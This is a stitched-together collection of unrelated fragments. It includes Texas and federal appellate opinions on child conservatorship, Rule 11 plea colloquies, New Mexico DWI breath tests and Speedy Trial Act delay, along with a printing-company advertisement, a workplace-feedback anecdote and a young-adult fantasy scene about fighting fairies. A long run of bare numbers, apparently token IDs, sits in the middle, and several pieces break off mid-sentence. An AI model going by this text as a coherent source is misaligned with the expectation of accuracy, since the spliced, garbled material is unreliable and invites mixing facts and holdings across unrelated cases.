determined that Taylor’s home was inappropriate for D.A.C.
Taylor disagrees with Payne’s conclusion but makes no specific criticism of Payne
or the study. She does not explain how or in what manner Payne’s qualifications are inadequate.
14
Although she claims that Payne’s testimony is not scientifically reliable, we find that the trial court
did not abuse its discretion under the Nenno standard. Considering Payne’s education, training, and
experience, and the fact that she explains her findings and conclusions in depth, we do not believe
that the district court abused its discretion in holding that Payne was qualified to conduct the study
and testify in support of her conclusions. Payne was certified by the Department to conduct these
social studies and the governing statute expressly delegates the setting of standards for the studies
to the Department. We overrule Taylor’s first issue.
Admission of Taylor’s convictions
In her second issue, Taylor argues that the trial court erred in admitting evidence of
a 1990 drug conviction. See Tex. R. Evid. 609. She also urges that the probative value of both her
that conviction and a 1997 drug conviction were substantially outweighed by their unfairly
prejudicial value and thus should have been excluded. See Tex. R. Evid. 403. In her third issue,
Taylor argues that the trial court abused its discretion in permitting the Department to impeach her
with inconsistent prior testimony in which she claimed incorrectly that she had successfully
completed probation for her 1990 conviction. See Tex. R. Evid. 403, 609.12 We disagree.
Over Taylor’s objections, the trial court allowed the Department to cross-examine
Taylor about her two drug convictions. Taylor admitted that in 1990 she was convicted of delivery
of marihuana and received five years’ probation. She acknowledged that she used marihuana
12
At trial, Taylor also objected to this cross-examination on the basis that it was improper
impeachment under rule 613. She does not assert this argument on appeal but instead relies only
upon rules 403 and 609.
15
approximately once a week during that time period and that she failed two successive drug tests later
in 1990, causing her probation to be revoked and her being sent to the state penitentiary for a year
and a half. Taylor also admitted that, in 1997, she was convicted of marihuana possession and
served 90 days in the McLennan County jail.
We review questions regarding the admission or exclusion of evidence for an abuse
of discretion. Malone, 972 S.W.2d at 43. In addition to showing an abuse of discretion, an appellant
must also show that the evidentiary ruling was calculated to cause and probably did cause the
rendition of an improper judgment. Tex. R. App. P. 44.1; Malone, 972 S.W.2d at 43.
Taylor’s reliance on rule of evidence 609 in this case is misplaced. Rule 609
provides, in relevant part:
(a) General Rule.
For the purposes of attacking the credibility of a witness, evidence that the witness
has been convicted of a crime shall be admitted if elicited from the witness or
established by public record but only if the crime was a felony or involved moral
turpitude, regardless of punishment, and the court determines that the probative value
of admitting this evidence outweighs its prejudicial effect to a party.
(b) Time Limit.
Evidence of a conviction under this rule is not admissible if a period of more than
ten years has elapsed since the date of the conviction or of the release of the witness
from the confinement imposed for that conviction, whichever is the later date, unless
the court determines, in the interest of justice, that the probative value of the
conviction supported by specific facts and circumstances substantially outweighs its
prejudicial effect.
Tex. R. Evid. 609 (Emphasis added.). As the italicized portions of the rule suggest, rule 609 is not
a categorical limitation on the introduction of convictions for any purpose. Rather, it applies only
16
to convictions offered for purposes of impeachment. Here, the Department offered Taylor’s
convictions not solely to impeach her credibility but as relevant evidence going to the controlling
issue in her case—the best interests of D.A.C.
We have already reviewed the Holley factors, used to evaluate the best interests of
a child. See Holley, 544 S.W.2d at 372; Leal v. Texas Dep’t. of Protective & Regulatory Servs., 25
S.W.3d at 321. Taylor’s use of and involvement with illegal drugs is highly relevant to several of
these factors, as is the existence of her criminal convictions. See in re C.A.J., 122 S.W.3d 888, 893
(Tex. App.—Fort Worth, 2003, no pet.); In re J.N.R., 982 S.W.2d 137, 143 (Tex. App.—Houston
[1st Dist.] 1998, no pet.), disapproved on other grounds by C.H., 89 S.W.3d at 24-25; see also In
re C.Q.T.M., 25 S.W.3d 730, 736 (Tex. App.—Waco 2000, pet. denied) (character evidence relevant
to best-interest analysis).
Taylor must thus rely exclusively on her rule 403 objection if she is to demonstrate
that the evidence was improperly admitted. We disagree with Taylor that the mere age of her drug
convictions, or what she claims to be her reformed behavior in more recent times, renders her
convictions unfairly prejudicial relative to their probative value. See Tex. R. Evid. 403. When the
convictions are coupled with Taylor’s history of illegal drug use—which, she admitted, spanned the
1980s until as recently as two years prior to trial—and her tolerance of such conduct by others
around her, the trial court did not abuse its discretion in admitting them into evidence. See In re
M.G.D., 108 S.W.3d 508, 513-14 (Tex. App.—Houston [14th Dist.] 2003, no pet.) (jury can accept
or reject evidence of appellant’s rehabilitation from drug use in determining termination issues). We
overrule Taylor’s second issue. Likewise, he hold that the trial court did not abuse its discretion in
17
permitting the Department to impeach Taylor with her inconsistent prior testimony claiming that she
had successfully completed her 1990 probation. We overrule Taylor’s third issue.13
Sufficiency of evidence for managing conservatorship
In her fourth issue, Taylor challenges the factual and legal sufficiency of the jury’s
findings that denied her custody of D.A.C. and granted it to the Department. Actions to determine
the conservatorship of a child, like parental termination, are governed by the best interest of the
child. See Tex. Fam. Code Ann. § 103.002. A child’s best interests are always the primary
consideration for the court. In re Rodriguez, 940 S.W.2d 265, 271 (Tex. App.—San Antonio 1997,
writ denied); Neely v. Neely, 698 S.W.2d 758, 759 (Tex. App.—Austin 1985, no writ). Because she
is not a parent, the standard of proof on Taylor’s claim was merely preponderance of the evidence,
not clear and convincing evidence. See Tex. Fam. Code Ann. § 105.005 (West 2002); Choyce v.
Dallas County Child Welfare Unit, 642 S.W.2d 559, 560-61 (Tex. App.—Dallas 1982, no writ)
(explaining that, because conservatorship is revocable and less drastic adjudication than termination,
stricter clear and convincing burden is not applicable). A jury’s custody determination is binding
on the trial court if supported by evidence. Tex. Fam. Code Ann. § 105.002(c), (d); Rodriguez, 940
S. |
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3570,
285
] | the plea, the court asked Pena whether he agreed with the facts set forth in the plea agreement in support of the guilty plea, whether the facts were accurate, and whether he sold cocaine to the officer in question. The court sentenced Pena to 274 months of imprisonment. Pena filed a timely notice of appeal.
STANDARD OF REVIEW
5
The adequacy of a Rule 11 plea colloquy is subject to de novo review. United States v. Minore, 292 F.3d 1109, 1115 (9th Cir.2002). Because Pena did not object below to the Rule 11 colloquy, his conviction may be reversed for Rule 11 error only if the district court committed plain error. United States v. Vonn, 535 U.S. 55, 122 S.Ct. 1043, 1046, 152 L.Ed.2d 90 (2002); Minore, 292 F.3d at 1117. "There must be an `error' that is `plain' and that `affects substantial rights.'" Minore, 292 F.3d at 1117 (quoting United States v. Olano, 507 U.S. 725, 732, 113 S.Ct. 1770, 123 L.Ed.2d 508 (1993)). If these requirements are met, we may exercise our discretion to correct the error only if the error "seriously affects the fairness, integrity or public reputation of judicial proceedings." Id. (quoting Olano, 507 U.S. at 732, 113 S.Ct. 1770).
DISCUSSION
Federal Rule of Criminal Procedure 11
6
obliges the trial court to engage the defendant in a colloquy at the time the plea is entered for the purpose of establishing a complete record of the constitutionally-required determinations that the defendant is acting voluntarily, with an understanding of the charges which have been leveled at him, and upon a factual basis which supports his conviction.
7
United States v. Jimenez-Dominguez, 296 F.3d 863, 866(9th Cir.2002). Rule 11 requires the court to "address the defendant personally in open court and inform [him] of, and determine that the defendant understands... the nature of the charge to which the plea is offered." Fed.R.Crim.P. 11(c)(1). "A statement by the defendant and his attorney that they discussed the nature of the charge is ... insufficient to satisfy Rule 11(c), because vague references to discussion of `the charges' and `the nature of the charges' does not provide a complete record showing compliance with Rule 11(c)." United States v. Portillo-Cano, 192 F.3d 1246, 1251(9th Cir.1999) (quoting United States v. Smith, 60 F.3d 595, 598 (9th Cir.1995) (internal quotation marks omitted)).
8
The plea colloquy failed to comply with Rule 11 because the district court never explained to Pena the nature of the charges against him. Merely asking Pena whether he had read the plea agreement and asking his attorney whether the attorney, not Pena, understood and agreed with the elements of the offense is insufficient. See id. (stating that assurances that at some point the defendant and his attorney had discussed the nature of the charge "cannot cure the judge's failure to do so in open court"); cf. United States v. Kennell, 15 F.3d 134, 137 (9th Cir.1994) (stating that "courtroom recitals that the defendant has read the agreement simply do not take the place of the judge's telling the defendant what it means to enter" a guilty plea under Rule 11(e)(1)(B)). Defense counsel did state that Pena waived the reading of the indictment; however, a "waiver of the reading of the indictment does not excuse the district court's obligation to explain the nature of the charges against [the defendant]." United States v. Odedo, 154 F.3d 937, 940 (9th Cir.1998), abrogated on other grounds by Vonn, 535 U.S. 55, 122 S.Ct. 1043, 152 L.Ed.2d 90.2
9
Moreover, even though the court asked Pena whether the prosecutor's summary of the plea agreement "correspond[ed] with" Pena's understanding of the agreement, the prosecutor's only reference to the offense was to state that "[t]he defendant agrees to plead guilty to Count Five of the indictment, possession with intent to distribute a controlled substance, in violation of [21 U.S.C. § 841]." She then went on to discuss sentencing issues; she did not mention the elements of the offense or the facts that supported a guilty plea. Merely naming the charge against Pena is "`inadequate [because it] did not inform the defendant of the nature (as opposed to the formal legal description) of the charges against him.'" United States v. Longoria, 113 F.3d 975, 977 (9th Cir.1997) (quoting United States v. Bruce, 976 F.2d 552, 560 (9th Cir.1992)), rev'd on other grounds by Vonn, 535 U.S. 55, 122 S.Ct. 1043, 152 L.Ed.2d 90.
10
The district court's only reference to the charge against Pena was at the beginning of the plea hearing, when he informed Pena that he was entering a guilty plea to possession of a controlled substance with intent to distribute in violation of 21 U.S.C. § 841. This "cursory recitation of the charge in no way informed [Pena] of the `nature' of the crime ... to which he would plead guilty." Bruce, 976 F.2d at 559. "A trial judge fails to satisfy his obligation under Rule 11 when, as here, he does not fully inform the defendant of the meaning and application `of legal argot and other legal concepts that are esoteric to an accused....'" Id. at 560(quoting United States v. Coronado, 554 F.2d 166, 172 (5th Cir.1977)). "This is not a case in which the district judge merely failed to utter verbatim some magical words. The required advisement was not given in any form." United States v. Graibe, 946 F.2d 1428, 1434 (9th Cir.1991). The plea colloquy therefore was deficient.
11
The government responds that the charge against Pena was outlined in the plea agreement. However, we rejected this reasoning in Smith. In Smith, as here, the provision of the plea agreement describing and explaining the crime "was not recited or even referred to in the plea proceeding." 60 F.3d at 599. We rejected the government's attempt to rely on the plea agreement to explain the nature of the charge, stating that, "[i]n the end, the government's argument is reduced to the fact that, at some point outside of the plea proceeding, [the defendant] was probably informed of the charge." Id. As we reasoned in Smith, the reason that Rule 11 requires the judge to address the defendant in open court is
12
to create a record complete on its face, to forestall later attacks on the plea. Even if we assume (without deciding) that the judge may delegate to defense counsel the responsibility to explain the charge, it is necessary that counsel inform the defendant in open court, so that in reviewing the record we may know what was said to the defendant.
13
Id. at 598 (citation omitted).
14
"Because there is a marked difference between being warned in open court by a district judge and reading some boiler-plate language during the frequently hurried and hectic moments before court is opened for the taking of pleas and arraignments, the reading of the plea agreement is no substitute for rigid observance of Rule 11." Kennell, 15 F.3d at 136. We accordingly reject the government's contention that the language in the plea agreement itself is sufficient to satisfy the requirements of Rule 11.
15
The plea colloquy did not satisfy the requirements of Rule 11. This is error, and it is plain. Moreover, "[t]he defendant's right to be informed of the charges against him is at the core of Rule 11, which exists to ensure that guilty pleas are knowing and voluntary." Longoria, 113 F.3d at 977. This failure to satisfy a core concern of Rule 11 therefore affected Pena's substantial rights.3 See id. (holding that the defendant's substantial rights were violated because the district court failed to inform the defendant of the charge against him and failed to explain the nature of the charge when accepting the plea); see also Minore, 292 F.3d at 1119-20 (concluding that the defendant's substantial rights were affected by the district court's failure to inform him that he had a right to make the government prove drug quantity to a jury beyond a reasonable doubt); United States v. Camacho, 233 F.3d 1308, 1314 (11th Cir.2000) (stating that "a district court's failure to satisfy any of the core objectives4 of Rule 11 affects a defendant's substantial rights and, thus, can constitute plain error"), cert. denied, 532 U.S. 951, 121 S.Ct. 1423, 149 L.Ed.2d 363 (2001); United States v. Quinones, 97 F.3d 473, 475 (11th Cir.1996) (per curiam) (holding that the district court's failure to satisfy the core concern that the defendant understood the nature of the charge against him violated the defendant's substantial rights and |
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] | educational value. Again, if someone wishes that I not use their work, please contact me. I will gladly remove it and refrain from posting it in the future.Cornerstone Graphic Technologies: Your One-Stop for Printing Tech
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So, what does this mean to you? It means that you now have access to a full range of printing technologies all in one place. That’s great news if you own a business and need brochures or business cards printed. Maybe you need posters printed for a local event or high quality scans for your latest project. Artists will appreciate the capabilities for fine arts Giclée printing.
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Located at 336 North Reading Road, Ephrata (In the Trout Run Business Center), Cornerstone Graphic Technologies serves the Ephrata, Lititz, Lancaster, York, Harrisburg, Shippensburg, Reading and Strasburg areas with free daily pick-up and delivery up to 50 miles. They also do national and international work. To find out more.How Receptive are You?
Receptiveness Means Fishing for Feedback
Getting feedback, even from your most severe critic, may be the most important way of gaining the direction and control that leads to better self-management.
While jogging together one afternoon, Terry and Marie got on the subject of corrective criticism. Terry confided that he was having some difficulty understanding why his career didn’t seem to be going anywhere. He sensed that his boss wasn’t very supportive—she didn’t seem to care if he succeeded or not.
“If only she’d say what it is about me that doesn’t appeal to her, I’d work on changing. But she just won’t say.”
“That can be frustrating,” Marie agreed. “Maybe she’s just uncomfortable telling you what bugs her.”
“You’re an old friend, Marie. What do you think I’m doing wrong?”
Marie thought for a moment: Terry is a really good guy, but he does have some irritating behaviors. For example, he’s extremely competitive. So what the heck, she thought, I’ll tell him now while he seems to be looking for feedback.
“Terry,” she began, “You do have one behavioral trait that I find irritating, and maybe it bugs your boss too. You are the most blood-thirsty, competitive person I’ve ever met.” Terry didn’t say anything at first. In fact, he didn’t see any inaccuracy in her statement, although she worded it pretty harshly.
In fact, Marie was warming up to this and Terry didn’t seem too upset by what she’d just said, so she went on: “In fact, I notice whenever we play racquetball, it isn’t even fun. You’re so damn intense, you won’t even say ‘nice shot’ when I hit a zinger. To be honest with you, Terry, you’d be a lot nicer guy to be around if you’d be a little more charitable with your compliments—a bit better at the old sportsmanship.”
She was on a roll now: “In fact, Terry, I’d much rather play racquetball with Brent. Every game doesn’t seem like life or death to him. He just has fun. And he’s a nicer guy than you and he’s forever saying ‘great shot’ and he’s still a friend after the game even if I beat him and he even lets up once in a while if I’m really having a miserable game and….”
Suddenly, it sunk in that Terry wasn’t responding. He wasn’t getting mad and he wasn’t even thoughtfully considering this “constructive criticism.” Actually he was laughing out loud. Marie found that disconcerting, until he explained:
“Marie, do you realize that you just described perfectly, your style on the racquetball court? That’s exactly why I get frustrated playing against you.”
Marie wanted to give him her best “Oh yeah, says who…” when a large lightbulb went on over her head. He was right. She did do those things. Of course, she was just reacting to him. He started it!
After a moment, she started laughing too. He was right, of course. She was taking the game too seriously. But the exchange really was instructive. They both got some useful feedback and their friendship was strengthened by it. I attest to the accuracy and
integrity of this document
New Mexico Compilation
Commission, Santa Fe, NM
'00'04- 14:03:38 2016.10.03
Certiorari Denied, July 29, 2016, S-1-SC-35987
IN THE COURT OF APPEALS OF THE STATE OF NEW MEXICO
Opinion Number: 2016-NMCA-079
Filing Date: June 29, 2016
Docket No. 34,298
STATE OF NEW MEXICO,
Plaintiff-Appellee,
v.
ANDREA MONTOYA,
Defendant-Appellant.
and
Docket No. 34,319
STATE OF NEW MEXICO,
Plaintiff-Appellee,
v.
MICHAEL YAP,
Defendant-Appellant.
APPEALS FROM THE DISTRICT COURT OF BERNALILLO COUNTY
Jacqueline Flores, District Judge (No. 34,298)
Brett R. Loveless, District Judge (No. 34,319)
Hector H. Balderas, Attorney General
Maris Veidemanis, Assistant Attorney General
Santa Fe, N.M.
for Appellee
1
Bennett J. Baur, Chief Public Defender
Sergio J. Viscoli, Assistant Appellate Defender
Santa Fe, N.M.
for Appellant Montoya (34,298)
Hector H. Balderas, Attorney General
Maris Veidemanis, Assistant Attorney General
Santa Fe, N.M.
for Appellee
Bennett J. Baur, Chief Public Defender
Santa Fe, N.M.
Steven J. Forsberg, Assistant Appellate Defender
Albuquerque, N.M.
for Appellant Yap (34,319)
OPINION
WECHSLER, Judge.
{1} In the interest of judicial economy, the Court is filing a consolidated opinion
addressing two different appeals. Defendant Andrea Montoya and Defendant Michael Yap
appeal their convictions for driving under the influence of intoxicating liquor or drugs
(DWI), contrary to NMSA 1978, § 66-8-102 (2010). Both Defendants were represented by
the same trial counsel and argue on appeal that, because no uncertainty computation was
applied to their breath alcohol test (BAT) results, the results are unreliable such that
admission into evidence at trial constituted an abuse of discretion. Because the substance of
Defendants’ admitted evidence does not affirmatively demonstrate a lack of reliability within
our regulatory scheme for determining breath alcohol content (BAC), we conclude that the
admission of Defendants’ BAT results did not constitute an abuse of discretion. Montoya’s
additional argument related to improper admission is mooted by this conclusion. Yap
additionally argues that (1) his BAT results were inadmissable under Rule 11-403 NMRA
and (2) even if his BAT results were admissible, they provide insufficient evidence upon
which to base a DWI conviction beyond a reasonable doubt. Yap has neither demonstrated
that his BAT results are subject to exclusion under Rule 11-403, nor that his conviction was
supported by insufficient evidence. Therefore, we affirm as to both Defendants.
BACKGROUND
Montoya
2
{2} On May 19, 2012, Montoya was pulled over by an Albuquerque Police Department
traffic officer for speeding. After approaching the vehicle, the officer observed that Montoya
showed signs of intoxication. A DWI unit |
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] | go for your eyes first. You saw what happened to Anne. If you get hit in the eyes, panic sets in, and you forget all about your training. Then it's all over."
Zoey held her can in front of her.
"I'm ready. Let's do this." She felt surprisingly strong and capable, having forgotten her sore back in the rush of excitement.
With a grin, Tristan kicked the pole. The fairies stopped eating and bared their pointy teeth. They were not happy about having their lunch interrupted.
"Get ready!" Tristan jumped back.
The fairies soared in the air with a loud screeching noise like a high pitched siren and came at them like a bomb raid. At least fifty angry fairies shot towards them like a swarm of angry wasps. The fairies split into three groups and launched their attack.
The closest and largest group of fairies hit Tristan first. He spun around in a circle, spraying as he went. He spun himself into a protective layer of mist like in a cocoon. The fairies charged the walls of mist but were immobilized immediately and fell to the ground. Piles of immobilized fairies lay at Tristan's feet.
In the corner of her eye, Zoey saw Simon dive under a fallen tree trunk. He screamed like a girl, but in between screams she heard him shout, "Take that! And that! And then some! And then some more! You nasty little critters—ouch!"
The third swarm came at Zoey.
She planted herself firmly, with her feet apart. They came at her in a straight line. Just as Tristan had shown her, she threw her arm out and sprayed in an arc. The first ten fairies dropped like rocks.
But then they split apart. Before she knew what was happening, they had attacked her back. She screamed as their sharp claws ripped into her skin. She reached back with her left arm and tried to pull them off. But it was no use. They were glued to her. Pain and then panic started to overwhelm her. She felt their teeth puncture the back of her neck, and then warm liquid ran down her back. They bit into her arms and her legs, until she was completely covered. They weighed her down until she couldn't move. They were going to tear her apart.
And then something clicked inside her. As the adrenaline raced through her body, her instincts kicked in. She closed her eyes and began to spin around and around like a top. Slowly at first, and then faster, she sprayed all around herself. She didn't stop spraying for at least twenty seconds. Immobilized fairies started to fall to the ground at her feet and her pain stopped.
When she stopped spinning and opened her eyes, fairies littered the ground at her feet like a furry carpet.
"That was awesome!" said Tristan as he came up beside her. "I thought you were in trouble for a second, but you totally nailed them. You're a real natural. I knew it."
Zoey reached to the back of her neck. Her fingers were stained with red. "Not that much of a natural—they got me pretty good."
"No pain, no gain," Tristan smiled.
"That was _so_ cool." Simon dragged his bag behind him. He looked around at Zoey's feet. "Holy guacamole! How many do you think you got there? Looks like twenty. Man, I only got six! I totally suck at this, don't I? Thank God I'm heavenly handsome."
Zoey couldn't hide her satisfaction as she bagged her fairies. When she was finished, she had twenty-one of them in her bag. Maybe she'd break Tristan's record tonight.
"Think that no one can top that?"
Stuart strolled towards them with a beautiful girl with long, flowing brown hair. She looked like a model. Zoey felt instantly self-conscious, and she was glad the gloom around them hid her burning face. The model was accompanied by another boy who looked like a gorilla in jeans and a T-shirt. They all wore the same ruby rings on their fingers.
"I've got thirty already, and the night's only just beginning," said Stuart. " _I'm_ getting the record this time."
"Go away, Stuwie," said Simon lazily. "We don't care how many your _friends_ bagged for you. Don't you have an appointment for a pedicure or something? Your cuticles are like _way_ too big."
"Shut up, frog—no one's talking to you," snapped Stuart.
Simon laughed softly. "I've been called many things, but never a frog. Is that supposed to be insulting?"
Stuart gave Simon a dirty look and turned to Zoey. "You want to prove that you're one of us?" he dared
Zoey looked into his face. There was an unsettling coldness in his faded blue eyes.
"What's on your mind?" She knew he was up to something.
Stuart smiled and pointed down the field. "See that big rock down there? Well, there are at least forty fairies behind it, waiting to be sprayed. Think you can handle that? Or are you scared?"
Zoey followed his gaze. She could see the rock, but it was too far and dark to see any fairies.
"I don't get it—why don't _you_ go?" she said. "You want the record? Why are you telling me this?"
"See? I told you she wouldn't do it," said the girl, batting her long eyelashes at Tristan. "She's not one of us. She's scared. Why don't you go back home and cry to your mama, oh wait—I forgot—you don't _have_ a mother." She and the boy gorilla laughed.
"Shut up, Claudia," said Tristan. "You don't even know her. She's the bravest person I know. She's not scared of anything."
Zoey felt the blood rush to her face.
Claudia's cheeks blushed. "So why does she need _you_ to defend her?" teased the girl. "Are you her boyfriend or something? I would have thought you'd have better taste than that, Tristan. She's not even pretty."
Zoey glared at the girl with what she hoped was her best crazy impersonation.
"Beauty isn't everything, _stick_. At least I like to eat."
Before Claudia could counter, Zoey turned to Stuart. "I'm not scared. I just figured everyone wanted the prize, including you."
Stuart smiled. "Since you're not scared, let's see how well you do against forty," he taunted.
"If you're truly one of us, then it shouldn't be a problem. Fighting mystics should be in your blood."
His face was stone cold. "You say you're one of us. Then prove it."
Zoey didn't know what to say. He made her blood boil and her skin crawl all at the same time. She hated how he made her feel so useless and unworthy. Would he and his friends accept her if she bagged all those fairies? She doubted it.
She charged down towards the big rock without saying a word. She knew Stuart couldn't be trusted. She hated him more than anyone she'd ever known, but he wasn't going to ruin everything for her.
"Zoey!" Tristan ran up beside her. "Wait! Something's off—it must be a trap. You can't trust Stuart! Everything out of his mouth's a lie."
"He's right," said Simon as he jogged alongside them. "Never trust a King. I'd rather dig my own kidneys out with a spoon than trust a King."
"He dared me, so I'm going."
Zoey wanted nothing more than to prove to everyone that she belonged. She'd get all those fairies, if it were the last thing she did. She could do this.
Zoey turned around and raised her hands. "You guys have to stay here. I have to do this alone." She wouldn't give Stuart a chance to say that they had helped her in some way.
"Something's off, I can feel it," said Tristan, "Stuart's bad, Zoey. You don't know him like we do. He wouldn't just give you an opportunity likes this. He's planning something."
"I think he was born evil," agreed Simon.
"Doesn't matter," said Zoey. "If you don't let me do this alone, I'll never hear the end of it. Besides, it can't be that bad, just a few more fairies. Trust me, I can do this."
Zoey marched towards the large rock, brandishing her spray can before her like a gun. She tossed her bag on the ground—she was going to need all of her limbs.
The rock was about the size of a large shed, and above it, forty fairies sat on a long strip of wires gnawing away at the power lines like famished rats. They ignored Zoey completely. She needed to get their attention somehow.
"Hey, you there! Hey, |
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69,
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394,
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1302,
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13,
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3361,
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15,
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574,
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323,
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281,
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11929,
281,
253,
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594,
326,
253,
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812,
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323,
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294,
14,
8873,
15,
187,
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5544,
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346,
11965,
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3,
313,
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323,
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13,
14468,
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8178,
37021,
369,
326,
5293,
273,
731,
13,
15978,
390,
26708,
13,
574,
667,
1941,
281,
7568,
253,
6242,
273,
247,
47243,
45732,
8945,
390,
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15423,
26741,
347,
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285,
344,
651,
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1024,
320,
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253,
1655,
2854,
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15,
831,
958,
2299,
13,
556,
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644,
2783,
9560,
275,
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2111,
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2278,
273,
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1083,
15,
187,
1909,
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13,
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1302,
12969,
326,
835,
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9833,
2060,
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4763,
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2847,
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14,
19521,
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10,
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253,
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15036,
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2208,
281,
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323,
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4724,
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313,
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10,
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20639,
347,
15588,
407,
253,
8598,
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20819,
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13,
1283,
530,
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52,
15,
36,
15,
20485,
495,
20664,
14,
20,
18804,
15,
187,
1909,
275,
253,
473,
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615,
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13,
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2918,
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432,
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9833,
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14,
12071,
313,
1671,
10,
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1996,
15,
3813,
13,
436,
1083,
310,
37651,
432,
1986,
2077,
362,
15,
31049,
13,
721,
2787,
401,
15,
19,
69,
1249,
2950,
313,
25,
394,
4082,
15,
17103,
481,
329,
8411,
273,
253,
8598,
6368,
20819,
20639,
1543,
275,
17396,
16852,
273,
253,
7260,
15,
1283,
530,
15,
52,
15,
36,
15,
3015,
495,
19603,
9,
66,
2769,
18,
582,
1986,
2077,
362,
15,
11418,
13,
3495,
401,
15,
20,
69,
26771,
13,
26484,
313,
13034,
481,
380,
2208,
556,
417,
1925,
281,
776,
4116,
667,
1083,
326,
651,
1581,
441,
281,
11823,
436,
21787,
15,
187,
510,
2208,
858,
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] | cause within 48 hours of arrest, will, as a general matter, comply with the promptness requirement of Gerstein." Riverside, 500 U.S. at 56, 111 S.Ct. 1661.
In this case, the defendant did not have an initial appearance before a magistrate judge until thirty-five (35) days after he was arrested and detainedwell over the forty-eight (48) hour limit set out in Riverside. Further, Riverside states that when an arrested individual does not receive a probable cause determination with forty-eight (48) hours, the burden shifts to the government to demonstrate the existence of a bona fide emergency or other extraordinary circumstance. Riverside, 500 U.S. at 56-57, 111 S.Ct. 1661.
The defendant also argues that his Sixth Amendment right to a speedy trial was violated because he was not indicted within the thirty (30) day period pursuant to 18 U.S.C. § 3161(b). Title 18 U.S.C. § 3161(b) states:
Any information or indictment charging an individual with the commission of an offense shall be filed within thirty days from the date on which such individual was arrested or served with a summons in connection with such charges. If an individual has been charged with a felony in a district court in which no grand jury has been in session during such thirty-day period, the period of time for filing of the indictment shall be extended an additional thirty days.
18 U.S.C. § 3161(b) (emphasis added).
Here, as mentioned, the defendant was not indicted until thirty-one (31) days after his arrest.
The Eighth Circuit, however, has held that the thirty (30) day clock starts to run on the day a complaint is filed. See United States v. Solomon, 679 F.2d 1246, 1252-53 (8th Cir.1982). In Solomon, the Eighth Circuit refused to dismiss an indictment filed seventy-four (74) days after an arrest because Title 18 U.S.C. § 3162 does not specify what the remedy should be when § 3161(b) is violated and only an arrest has occurred but no complaint has been filed. The Solomon court concluded that the term "arrest" in § 3161(b) "must be construed as an arrest where the person is charged with an offense." Id. at 1252. The defendant here, who was arrested without a complaint, argues that he was "arrested" for purposes of the Speedy Trial Act and was in "legal limbo" he was arrested and detained for thirty-one (31) days without any charges filed or pending in either state or federal court. The defendant cites to United States v. Osunde, 638 F.Supp. 171 (N.D.Ca.1986) where the defendant was held in federal custody for 106 days after his arrest before a complaint was filed against him and he was brought before a judge. The indictment against Osunde was not handed down until 118 days after his arrest. In discussing United States v. Solomon, 679 F.2d 1246 (8th Cir.1982), the Osunde court concluded that
[t]he important factual distinction between the Solomon matter and the case *1176 at bar is that Solomon was immediately released after his arrest. To the extent it is asserted that a proper interpretation of the term "arrest," as contemplated under the Speedy Trial Act, would condone continuous detention without charge, this Court declines and refuses to make such an illogical inference. It is the restraint on individual liberty not merely procedural stagnation following the filing of formal charges which Congress intended to protect against when it passed the Act.
Osunde, 638 F.Supp. at 174.
This Court also declines and refuses to conclude that a prisoner can be held for more than thirty (30) days and have the rule be that there is no violation of his rights because "we never filed any charges."
The government argues that although there may have been a delay in bringing the defendant before a magistrate judge for an initial appearance, the indictment should not be dismissed with prejudice because the defendant was under an INS hold during this time. The defendant admitted early on, to an INS agent, that he was in the United States illegally, he gave up his right to an INS hearing, and acknowledged he would be held in detention until his deportation. See government's exhibits A, B, C, and D. At the hearing held before this court, the government called as a witness Dail Fellin, an officer with the Tri-State Drug Task Force, who was involved in the investigation and arrest of the defendant. He testified that at sometime after the defendant's arrest he became aware that an INS hold was placed on the defendant but he did not know exactly when that happened. He further testified that it was not until a week after the defendant was arrested that he noticed the defendant was still sitting in the Woodbury County Jail and he contacted the U.S. Attorney's Office and made them aware of this defendant's presence at the county jail.
The government also called INS Agent Brian Nelson who testified that he had done an investigation of defendant's "A" file[3]. Agent Nelson was unable to remember when he exactly received defendant's "A" file but he did recall that he did not process the defendant or request a fingerprint comparison on him until October 25, 2001, thirty-one (31) days after defendant's arrest. Therefore, it was not until October 26, 2001 that INS became aware of defendant's prior convictions, making it possible for INS to have pertinent evidence to submit to the U.S. Attorney's Office so that the defendant could be indicted for illegal re-entry.
Agent Nelson also explained that an "INS hold" (which was placed on the defendant sometime after his arrest when he admitted to being in the country illegally) means that the defendant was deportable at that time. Therefore, the defendant argues that because INS did not become aware of defendant's prior convictions until October 25, 2001, it is conceivable that the defendant could have been deported back to Mexico between the period of September 24 and October 25, 2001. Further, Agent Nelson explained that a marshal's hold is different from an INS holda person arrested by a drug task force officer and placed under a U.S. Marshal hold is not in the same status as a person held under an INS hold. Remember, in this *1177 case the U.S. Marshals never knew about this defendant being in jail or being under a U.S. Marshal hold until the Woodbury County Sheriff's Office called Deputy Marshal Duane Walhof about twenty-one (21) days after the defendant's arrest. The deputy sheriff told Duane Walhof that there was no hold of any kind on the defendant except the U.S. Marshal hold, which as explained earlier, is used only for billing purposes and does not even notify the marshals that a person is being held.
The sum total of the testimony of Dail Fellin, Brian Nelson and Deputy Marshal Duane Walhof was that none of them, individually or collectively, had any evidence to demonstrate the existence of a bona fide emergency or other extraordinary circumstance as required by the Riverside at 56-57, 111 S.Ct. 1661.
The defendant may have been under an INS hold, however, he could have been deported to Mexico during this long delay and he would not now be facing the current drug charge. This fact however, has not been considered crucial in this Court's review of this case.
As mentioned earlier, in the Riverside case, the court ruled that where an arrested individual does not receive a probable cause determination within forty-eight (48) hours, the burden shifts to the government to demonstrate the existence of a bona fide emergency or other extraordinary circumstance. Riverside, 500 U.S. at 56-57, 111 S.Ct. 1661. The Government has not given this Court a plausible explanation, let alone a bona fide emergency, as to why the defendant did not appear before a magistrate judge for an initial appearance without unreasonable delay. Further, the indictment against the defendant was not filed within the thirty (30) day deadline as prescribed by the Speedy Trial Act, 18 U.S.C. §§ 3161-3174.
As in the Osunde case, the defendant here was held in custody from the time he was arrested until the time of his initial appearance thirty-five (35) days later. Therefore, this case is distinguishable from United States v. Solomon, 679 F.2d 1246 (8th Cir.1982). A violation of the Speedy Trial deadline results in mandatory dismissal of the charges. 18 U.S.C. § 3162(a)(1), United States v. Miller, 23 F.3d 194, 196 (1994). The government has not called to our attention any case that would allow us to ignore this mandate.
The government did cite the case of United States v. Davis, 785 F.2d 610 (8th Cir.1986), but that case is easily distinguishable. Davis was accused of rape and taken into custody by Sheriff's deputies. Upon investigation it was determined that the rape took place within the boundaries of a national park. The Sheriff turned the defendant over to a park ranger. The defendant was released from custody within forty-eight hours. About fifty-three (53) days later, while still not in custody, the defendant was indicted.
The Davis court states as follows:
Here, Davis was not brought before a magistrate, formally charged by a complaint or held in custody pending the filing of formal charges. Therefore, we hold that the district court was correct in not dismissing the indictment.
